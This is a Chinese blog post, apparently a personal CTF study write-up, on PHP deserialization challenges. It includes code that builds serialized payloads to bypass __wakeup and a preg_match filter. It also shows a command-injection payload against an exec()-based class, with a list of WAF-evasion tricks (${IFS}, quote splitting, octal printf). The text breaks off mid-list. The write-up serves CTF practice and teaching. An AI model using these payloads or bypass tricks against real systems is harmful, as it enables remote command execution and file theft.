

<!DOCTYPE html>
<html lang="zh-CN" data-default-color-scheme=auto>



<head>
  <meta charset="UTF-8">
  <link rel="apple-touch-icon" sizes="76x76" href="/img/fluid.png">
  <link rel="icon" href="/img/fluid.png">
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, shrink-to-fit=no">
  <meta http-equiv="x-ua-compatible" content="ie=edge">
  
  <meta name="theme-color" content="#2f4154">
  <meta name="author" content="Jiashi">
  <meta name="keywords" content="">
  
    <meta name="description" content="ctf-web练习(php)–待补充php知识php的魔术方法 __construct() 当一个对象创建时被调用 –构造函数 __destruct() 当一个对象销毁时被调用 –析构函数 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __toString()  当一个对象被当做一个字符串时来使用  php的变量类型public：属性被序">
<meta property="og:type" content="article">
<meta property="og:title" content="ctf-web练习(php)">
<meta property="og:url" content="https://jiashi19.gitee.io/2023/09/18/ctf-web-php/index.html">
<meta property="og:site_name" content="Blog from js19">
<meta property="og:description" content="ctf-web练习(php)–待补充php知识php的魔术方法 __construct() 当一个对象创建时被调用 –构造函数 __destruct() 当一个对象销毁时被调用 –析构函数 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __toString()  当一个对象被当做一个字符串时来使用  php的变量类型public：属性被序">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://s2.loli.net/2023/09/25/vbW31rf7uKmqcSk.png">
<meta property="article:published_time" content="2023-09-17T16:30:52.000Z">
<meta property="article:modified_time" content="2023-10-18T10:58:59.732Z">
<meta property="article:author" content="Jiashi">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:image" content="https://s2.loli.net/2023/09/25/vbW31rf7uKmqcSk.png">
  
  
    <meta name="referrer" content="no-referrer-when-downgrade">
  
  
  <title>ctf-web练习(php) - Blog from js19</title>

  <link  rel="stylesheet" href="https://lib.baomitu.com/twitter-bootstrap/4.6.1/css/bootstrap.min.css" />



  <link  rel="stylesheet" href="https://lib.baomitu.com/github-markdown-css/4.0.0/github-markdown.min.css" />

  <link  rel="stylesheet" href="https://lib.baomitu.com/hint.css/2.7.0/hint.min.css" />

  <link  rel="stylesheet" href="https://lib.baomitu.com/fancybox/3.5.7/jquery.fancybox.min.css" />



<!-- 主题依赖的图标库，不要自行修改 -->
<!-- Do not modify the link that theme dependent icons -->

<link rel="stylesheet" href="//at.alicdn.com/t/font_1749284_hj8rtnfg7um.css">



<link rel="stylesheet" href="//at.alicdn.com/t/font_1736178_lbnruvf0jn.css">


<link  rel="stylesheet" href="/css/main.css" />


  <link id="highlight-css" rel="stylesheet" href="/css/highlight.css" />
  
    <link id="highlight-css-dark" rel="stylesheet" href="/css/highlight-dark.css" />
  




  <script id="fluid-configs">
    var Fluid = window.Fluid || {};
    Fluid.ctx = Object.assign({}, Fluid.ctx)
    var CONFIG = {"hostname":"jiashi19.gitee.io","root":"/","version":"1.9.5-a","typing":{"enable":true,"typeSpeed":70,"cursorChar":"_","loop":false,"scope":[]},"anchorjs":{"enable":true,"element":"h1,h2,h3,h4,h5,h6","placement":"left","visible":"hover","icon":""},"progressbar":{"enable":true,"height_px":3,"color":"#29d","options":{"showSpinner":false,"trickleSpeed":100}},"code_language":{"enable":true,"default":"TEXT"},"copy_btn":true,"image_caption":{"enable":true},"image_zoom":{"enable":true,"img_url_replace":["",""]},"toc":{"enable":true,"placement":"right","headingSelector":"h1,h2,h3,h4,h5,h6","collapseDepth":0},"lazyload":{"enable":true,"loading_img":"/img/loading.gif","onlypost":false,"offset_factor":2},"web_analytics":{"enable":false,"follow_dnt":true,"baidu":null,"google":{"measurement_id":null},"tencent":{"sid":null,"cid":null},"woyaola":null,"cnzz":null,"leancloud":{"app_id":null,"app_key":null,"server_url":null,"path":"window.location.pathname","ignore_local":false}},"search_path":"/local-search.xml","include_content_in_search":true};

    if (CONFIG.web_analytics.follow_dnt) {
      var dntVal = navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack;
      Fluid.ctx.dnt = dntVal && (dntVal.startsWith('1') || dntVal.startsWith('yes') || dntVal.startsWith('on'));
    }
  </script>
  <script  src="/js/utils.js" ></script>
  <script  src="/js/color-schema.js" ></script>
  


  
<meta name="generator" content="Hexo 6.3.0"></head>


<body>
  

  <header>
    

<div class="header-inner" style="height: 70vh;">
  <nav id="navbar" class="navbar fixed-top  navbar-expand-lg navbar-dark scrolling-navbar">
  <div class="container">
    <a class="navbar-brand" href="/">
      <strong>jiashi&#39;s blog</strong>
    </a>

    <button id="navbar-toggler-btn" class="navbar-toggler" type="button" data-toggle="collapse"
            data-target="#navbarSupportedContent"
            aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
      <div class="animated-icon"><span></span><span></span><span></span></div>
    </button>

    <!-- Collapsible content -->
    <div class="collapse navbar-collapse" id="navbarSupportedContent">
      <ul class="navbar-nav ml-auto text-center">
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/">
                <i class="iconfont icon-home-fill"></i>
                <span>首页</span>
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/archives/">
                <i class="iconfont icon-archive-fill"></i>
                <span>归档</span>
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/categories/">
                <i class="iconfont icon-category-fill"></i>
                <span>分类</span>
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/tags/">
                <i class="iconfont icon-tags-fill"></i>
                <span>标签</span>
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/about/">
                <i class="iconfont icon-user-fill"></i>
                <span>关于</span>
              </a>
            </li>
          
        
        
          <li class="nav-item" id="search-btn">
            <a class="nav-link" target="_self" href="javascript:;" data-toggle="modal" data-target="#modalSearch" aria-label="Search">
              <i class="iconfont icon-search"></i>
            </a>
          </li>
          
        
        
          <li class="nav-item" id="color-toggle-btn">
            <a class="nav-link" target="_self" href="javascript:;" aria-label="Color Toggle">
              <i class="iconfont icon-dark" id="color-toggle-icon"></i>
            </a>
          </li>
        
      </ul>
    </div>
  </div>
</nav>

  

<div id="banner" class="banner" parallax=true
     style="background: url('/img/default.png') no-repeat center center; background-size: cover;">
  <div class="full-bg-img">
    <div class="mask flex-center" style="background-color: rgba(0, 0, 0, 0.3)">
      <div class="banner-text text-center fade-in-up">
        <div class="h2">
          
            <span id="subtitle" data-typed-text="ctf-web练习(php)"></span>
          
        </div>

        
          
  <div class="mt-3">
    
    
      <span class="post-meta">
        <i class="iconfont icon-date-fill" aria-hidden="true"></i>
        <time datetime="2023-09-18 00:30" pubdate>
          2023年9月18日 凌晨
        </time>
      </span>
    
  </div>

  <div class="mt-1">
    
      <span class="post-meta mr-2">
        <i class="iconfont icon-chart"></i>
        
          5.4k 字
        
      </span>
    

    
      <span class="post-meta mr-2">
        <i class="iconfont icon-clock-fill"></i>
        
        
        
          45 分钟
        
      </span>
    

    
    
  </div>


        
      </div>

      
    </div>
  </div>
</div>

</div>

  </header>

  <main>
    
      

<div class="container-fluid nopadding-x">
  <div class="row nomargin-x">
    <div class="side-col d-none d-lg-block col-lg-2">
      

    </div>

    <div class="col-lg-8 nopadding-x-md">
      <div class="container nopadding-x-md" id="board-ctn">
        <div id="board">
          <article class="post-content mx-auto">
            <h1 id="seo-header">ctf-web练习(php)</h1>
            
            
              <div class="markdown-body">
                
                <h1 id="ctf-web练习-php-–待补充"><a href="#ctf-web练习-php-–待补充" class="headerlink" title="ctf-web练习(php)–待补充"></a>ctf-web练习(php)–待补充</h1><h2 id="php知识"><a href="#php知识" class="headerlink" title="php知识"></a>php知识</h2><h3 id="php的魔术方法"><a href="#php的魔术方法" class="headerlink" title="php的魔术方法"></a>php的魔术方法</h3><ul>
<li>__construct() 当一个对象创建时被调用 –构造函数</li>
<li>__destruct() 当一个对象销毁时被调用 –析构函数</li>
<li>__wakeup() 使用unserialize时触发</li>
<li>__sleep() 使用serialize时触发</li>
<li>__toString()  当一个对象被当做一个字符串时来使用</li>
</ul>
<h3 id="php的变量类型"><a href="#php的变量类型" class="headerlink" title="php的变量类型"></a>php的变量类型</h3><p>public：属性被序列化的时候属性值会变成 <code>属性名</code></p>
<p>protected：属性被序列化的时候属性值会变成 <code>\x00*\x00属性名</code></p>
<p>private：属性被序列化的时候属性值会变成 <code>\x00类名\x00属性名</code></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">People</span></span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$id</span>;<br>    <span class="hljs-keyword">protected</span> <span class="hljs-variable">$gender</span>;<br>    <span class="hljs-keyword">private</span> <span class="hljs-variable">$age</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>&#123;<br>        <span class="hljs-variable language_">$this</span>-&gt;id = <span class="hljs-string">&#x27;Hardworking666&#x27;</span>;<br>        <span class="hljs-variable language_">$this</span>-&gt;gender = <span class="hljs-string">&#x27;male&#x27;</span>;<br>        <span class="hljs-variable language_">$this</span>-&gt;age = <span class="hljs-string">&#x27;18&#x27;</span>;<br>    &#125;<br>&#125;<br><span class="hljs-variable">$a</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">People</span>();<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>);<br><span class="hljs-meta">?&gt;</span><br><span class="hljs-comment">//O:6:&quot;People&quot;:3:&#123;s:2:&quot;id&quot;;s:14:&quot;Hardworking666&quot;;s:9:&quot; * gender&quot;;s:4:&quot;male&quot;;s:11:&quot; People age&quot;;s:2:&quot;18&quot;;&#125;</span><br><br></code></pre></td></tr></table></figure>

<p>注意：比如，$file 是私有成员，序列化之后字符串首尾会多出两个空格 “%00*%00”，如果有时候利用html网页复制值可能会出现问题。</p>
<h3 id="php序列化和反序列化"><a href="#php序列化和反序列化" class="headerlink" title="php序列化和反序列化"></a>php序列化和反序列化</h3><p>PHP序列化：serialize()</p>
<p>序列化是将变量或对象转换成字符串的过程，用于存储或传递 PHP 的值的过程中，同时不丢失其类型和结构。</p>
<p>而PHP反序列化：unserialize()</p>
<p>反序列化是将字符串转换成变量或对象的过程。</p>
<p>从序列化到反序列化这几个函数的执行过程是：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-title function_ invoke__">__construct</span>()` -&gt;`<span class="hljs-title function_ invoke__">__sleep</span>()` -&gt; `<span class="hljs-title function_ invoke__">__wakeup</span>()` -&gt; `<span class="hljs-title function_ invoke__">__toString</span>()` -&gt; `<span class="hljs-title function_ invoke__">__destruct</span>()<br></code></pre></td></tr></table></figure>

<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span>  <br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">TEST</span></span>&#123;  <br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$test1</span>=<span class="hljs-string">&quot;11&quot;</span>;  <br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$test2</span>=<span class="hljs-string">&quot;22&quot;</span>;  <br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$test3</span>=<span class="hljs-string">&quot;33&quot;</span>;  <br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test4</span>(<span class="hljs-params"></span>)  </span><br><span class="hljs-function"> </span>&#123;  <br> <span class="hljs-keyword">echo</span> <span class="hljs-variable language_">$this</span>-&gt;test1;  <br> &#125;  <br>&#125;  <br><span class="hljs-variable">$a</span>=<span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">TEST</span>();  <br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>); <br><span class="hljs-meta">?&gt;</span><br><span class="hljs-comment">//O:4:&quot;TEST&quot;:3:&#123;s:5:&quot;test1&quot;;s:2:&quot;11&quot;;s:11:&quot;TESTtest2&quot;;s:2:&quot;22&quot;;s:8:&quot;*test3&quot;;s:2:&quot;33&quot;;&#125;</span><br><span class="hljs-comment">//O代表类，然后后面4代表类名长度，接着双引号内是类名</span><br><span class="hljs-comment">//然后是类中变量的个数：&#123;类型：长度:&quot;值&quot;；类型:长度:&quot;值&quot;...以此类推&#125;</span><br><span class="hljs-comment">//有时候为了避免private和protected导致一些字符不可打印，通常会urlencode一下</span><br><br></code></pre></td></tr></table></figure>

<h3 id="call-user-func-array函数"><a href="#call-user-func-array函数" class="headerlink" title="call_user_func_array函数"></a>call_user_func_array函数</h3><p>（1）普通使用：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">a</span>(<span class="hljs-params"><span class="hljs-variable">$b</span>, <span class="hljs-variable">$c</span></span>) </span><br><span class="hljs-function"></span>&#123;  <br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$b</span>; <br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$c</span>; <br>&#125; <br><span class="hljs-title function_ invoke__">call_user_func_array</span>(<span class="hljs-string">&#x27;a&#x27;</span>, <span class="hljs-keyword">array</span>(<span class="hljs-string">&quot;111&quot;</span>, <span class="hljs-string">&quot;222&quot;</span>)); <br><span class="hljs-comment">//输出 111 222</span><br></code></pre></td></tr></table></figure>

<p>（2）调用类内部的方法：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs php">Class ClassA <br>&#123; <br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">bc</span>(<span class="hljs-params"><span class="hljs-variable">$b</span>, <span class="hljs-variable">$c</span></span>)</span><br><span class="hljs-function"></span>&#123; <br><span class="hljs-variable">$bc</span> = <span class="hljs-variable">$b</span> + <span class="hljs-variable">$c</span>; <br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$bc</span>; <br>&#125; <br>&#125; <br><br><span class="hljs-title function_ invoke__">call_user_func_array</span>(<span class="hljs-keyword">array</span>(<span class="hljs-string">&#x27;ClassA&#x27;</span>,<span class="hljs-string">&#x27;bc&#x27;</span>), <span class="hljs-keyword">array</span>(<span class="hljs-string">&quot;111&quot;</span>, <span class="hljs-string">&quot;222&quot;</span>)); <br><span class="hljs-comment">//输出  333 </span><br></code></pre></td></tr></table></figure>

<p>参考链接：<a target="_blank" rel="noopener" href="https://blog.csdn.net/weihuiblog/article/details/78998924">https://blog.csdn.net/weihuiblog/article/details/78998924</a></p>
<h2 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h2><h3 id="1-ctf-web-“PHP2”"><a href="#1-ctf-web-“PHP2”" class="headerlink" title="1. ctf-web-“PHP2”"></a>1. ctf-web-“PHP2”</h3><ul>
<li><p>phps文件就是php的<strong>源代码文件</strong>，通常用于提供给用户（访问者）查看php代码，因为用户无法直接通过Web浏览器看到php文件的内容，所以需要用<strong>phps</strong>文件代替。其实，只要不用php等已经在服务器中注册过的MIME类型为文件即可，但为了国际通用，所以才用了phps文件类型。</p>
</li>
<li><p>运用后台扫描工具</p>
</li>
</ul>
<h3 id="2-ctf-web-unserialize3"><a href="#2-ctf-web-unserialize3" class="headerlink" title="2. ctf-web-unserialize3"></a>2. ctf-web-unserialize3</h3><h5 id="原理"><a href="#原理" class="headerlink" title="原理"></a><strong>原理</strong></h5><p>PHP<strong>反序列化漏洞</strong>：执行unserialize()时，先会调用__wakeup()。</p>
<p>当序列化字符串中属性值个数大于属性个数，就会导致反序列化异常，从而跳过__wakeup()。</p>
<p>（<strong>影响版本</strong>php5&lt;5.6.25,php7&lt;7.010）已经测试过，在本机php8.2中，并不会有该漏洞的出现。</p>
<h5 id="目的"><a href="#目的" class="headerlink" title="目的"></a><strong>目的</strong></h5><p>了解绕过常见的<strong>函数过滤</strong>机制</p>
<h3 id="3-Web-php-unserialize"><a href="#3-Web-php-unserialize" class="headerlink" title="3.Web_php_unserialize"></a>3.Web_php_unserialize</h3><p>类似于上题，只是多了一个正则过滤问题</p>
<p><img src="https://s2.loli.net/2023/09/25/vbW31rf7uKmqcSk.png" srcset="/img/loading.gif" lazyload alt="image-20230925181847920"></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span> <br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Demo</span> </span>&#123; <br>    <span class="hljs-keyword">private</span> <span class="hljs-variable">$file</span> = <span class="hljs-string">&#x27;index.php&#x27;</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$file</span></span>) </span>&#123; <br>        <span class="hljs-variable language_">$this</span>-&gt;file = <span class="hljs-variable">$file</span>; <br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>) </span>&#123; <br>        <span class="hljs-keyword">echo</span> @<span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-variable">$this</span>-&gt;file, <span class="hljs-literal">true</span>); <br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>) </span>&#123; <br>        <span class="hljs-keyword">if</span> (<span class="hljs-variable language_">$this</span>-&gt;file != <span class="hljs-string">&#x27;index.php&#x27;</span>) &#123; <br>            <span class="hljs-comment">//the secret is in the fl4g.php</span><br>            <span class="hljs-variable language_">$this</span>-&gt;file = <span class="hljs-string">&#x27;index.php&#x27;</span>; <br>        &#125; <br>    &#125; <br>&#125;<br><br>    <span class="hljs-variable">$A</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Demo</span>(<span class="hljs-string">&#x27;fl4g.php&#x27;</span>);<br>    <span class="hljs-variable">$C</span> = <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$A</span>);<br>    <span class="hljs-comment">//string(49) &quot;O:4:&quot;Demo&quot;:1:&#123;s:10:&quot;Demofile&quot;;s:8:&quot;fl4g.php&quot;;&#125;&quot;</span><br>    <span class="hljs-variable">$C</span> = <span class="hljs-title function_ invoke__">str_replace</span>(<span class="hljs-string">&#x27;O:4&#x27;</span>, <span class="hljs-string">&#x27;O:+4&#x27;</span>,<span class="hljs-variable">$C</span>);<span class="hljs-comment">//绕过preg_match</span><br>    <span class="hljs-variable">$C</span> = <span class="hljs-title function_ invoke__">str_replace</span>(<span class="hljs-string">&#x27;:1:&#x27;</span>, <span class="hljs-string">&#x27;:2:&#x27;</span>,<span class="hljs-variable">$C</span>);<span class="hljs-comment">//绕过wakeup</span><br><br>    <span class="hljs-title function_ invoke__">var_dump</span>(<span class="hljs-title function_ invoke__">base64_encode</span>(<span class="hljs-variable">$C</span>));<br>   <br><br>    <br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure>

<p>曾出现的问题：</p>
<p>$file 是私有成员序列化之后字符串首尾会多出两个空格 “%00*%00”，所以base64加密最好在代码中执行防止复制漏掉—-本人刚开始的解题思路便是启动服务器输出序列化后的字符串然后进行复制，再在代码中进入下一步操作，然后出现了问题。</p>
<h3 id="4-unseping"><a href="#4-unseping" class="headerlink" title="4.unseping"></a>4.unseping</h3><p>源码：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ease</span></span>&#123;<br>  <br>  <span class="hljs-keyword">private</span> <span class="hljs-variable">$method</span>;<br>  <span class="hljs-keyword">private</span> <span class="hljs-variable">$args</span>;<br>  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$method</span>, <span class="hljs-variable">$args</span></span>) </span>&#123;<br>    <span class="hljs-variable language_">$this</span>-&gt;method = <span class="hljs-variable">$method</span>;<br>    <span class="hljs-variable language_">$this</span>-&gt;args = <span class="hljs-variable">$args</span>;<br>  &#125;<br> <br>  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span>&#123;<br>    <span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">in_array</span>(<span class="hljs-variable">$this</span>-&gt;method, <span class="hljs-keyword">array</span>(<span class="hljs-string">&quot;ping&quot;</span>))) &#123;<br>      <span class="hljs-title function_ invoke__">call_user_func_array</span>(<span class="hljs-keyword">array</span>(<span class="hljs-variable">$this</span>, <span class="hljs-variable">$this</span>-&gt;method), <span class="hljs-variable language_">$this</span>-&gt;args);<br>    &#125;<br>  &#125; <br> <br>  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ping</span>(<span class="hljs-params"><span class="hljs-variable">$ip</span></span>)</span>&#123;<br>    <span class="hljs-title function_ invoke__">exec</span>(<span class="hljs-variable">$ip</span>, <span class="hljs-variable">$result</span>);<br>    <span class="hljs-title function_ invoke__">var_dump</span>(<span class="hljs-variable">$result</span>);<br>  &#125;<br><br>  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">waf</span>(<span class="hljs-params"><span class="hljs-variable">$str</span></span>)</span>&#123;<br>    <span class="hljs-keyword">if</span> (!<span class="hljs-title function_ invoke__">preg_match_all</span>(<span class="hljs-string">&quot;/(\||&amp;|;| |\/|cat|flag|tac|php|ls)/&quot;</span>, <span class="hljs-variable">$str</span>, <span class="hljs-variable">$pat_array</span>)) &#123;<br>      <span class="hljs-keyword">return</span> <span class="hljs-variable">$str</span>;<br>    &#125; <span class="hljs-keyword">else</span> &#123;<br>      <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;don&#x27;t hack&quot;</span>;<br>    &#125;<br>  &#125;<br> <br>  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>)</span>&#123;<br>    <span class="hljs-keyword">foreach</span>(<span class="hljs-variable language_">$this</span>-&gt;args <span class="hljs-keyword">as</span> <span class="hljs-variable">$k</span> =&gt; <span class="hljs-variable">$v</span>) &#123;<br>      <span class="hljs-variable language_">$this</span>-&gt;args[<span class="hljs-variable">$k</span>] = <span class="hljs-variable language_">$this</span>-&gt;<span class="hljs-title function_ invoke__">waf</span>(<span class="hljs-variable">$v</span>);<br>    &#125;<br>  &#125;  <br>&#125;<br><br><span class="hljs-variable">$ctf</span>=@<span class="hljs-variable">$_POST</span>[<span class="hljs-string">&#x27;ctf&#x27;</span>];<br>@<span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-title function_ invoke__">base64_decode</span>(<span class="hljs-variable">$ctf</span>));<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure>

<p>注意项为：传入的args需要为array数组</p>
<p>首先尝试执行未被过滤的命令：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$a</span>=<span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">ease</span>(<span class="hljs-string">&quot;ping&quot;</span>,<span class="hljs-keyword">array</span>(<span class="hljs-string">&quot;pwd&quot;</span>));<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">base64_encode</span>(<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>));<br><span class="hljs-comment">//Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJwd2QiO319</span><br></code></pre></td></tr></table></figure>

<p>采用post方法传参，可以看到成功执行pwd命令。</p>
<p>那么接下来就是替换成其他的命令，且要绕过正则过滤。</p>
<p>该题的构造：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$a</span>=<span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">ease</span>(<span class="hljs-string">&quot;ping&quot;</span>,<span class="hljs-keyword">array</span>(<span class="hljs-string">&#x27;more$&#123;IFS&#125;fl&quot;&quot;ag_1s_here$(printf$&#123;IFS&#125;&quot;\57&quot;)f\lag_831b69012c67b35f.p\hp&#x27;</span>));<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">base64_encode</span>(<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>));<br></code></pre></td></tr></table></figure>

<p>稍微记录下一些绕过：</p>
<p>(命令行知识：$()这个符号，可以把括号里面的东西当命令执行,反引号同理。)</p>
<ul>
<li><p>反斜线\绕过</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ l\s<br></code></pre></td></tr></table></figure>
</li>
<li><p>${IFS},$IFS代替空格</p>
</li>
<li><p>拼接法：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ a=fl;b=ag;<span class="hljs-built_in">cat</span>$IFS$a<span class="hljs-variable">$b</span><br></code></pre></td></tr></table></figure>
</li>
<li><p>引号绕过</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">//如<span class="hljs-built_in">cat</span>、<span class="hljs-built_in">ls</span>被过滤<br>$ ca<span class="hljs-string">&quot;&quot;</span>t /flag<br>$ l<span class="hljs-string">&#x27;s&#x27;</span> /<br></code></pre></td></tr></table></figure>
</li>
<li><p>八进制编码和十六进制编码绕过</p>
<p>比如：“&#x2F;“的八进制编码为\57，那么使用$(printf${IFS}”\57”)<strong>内敛执行输出</strong>“&#x2F;”到字符串中。</p>
<p>所以该题在应对flag被正则过滤时也可以：（\141是a的八进制编码）</p>
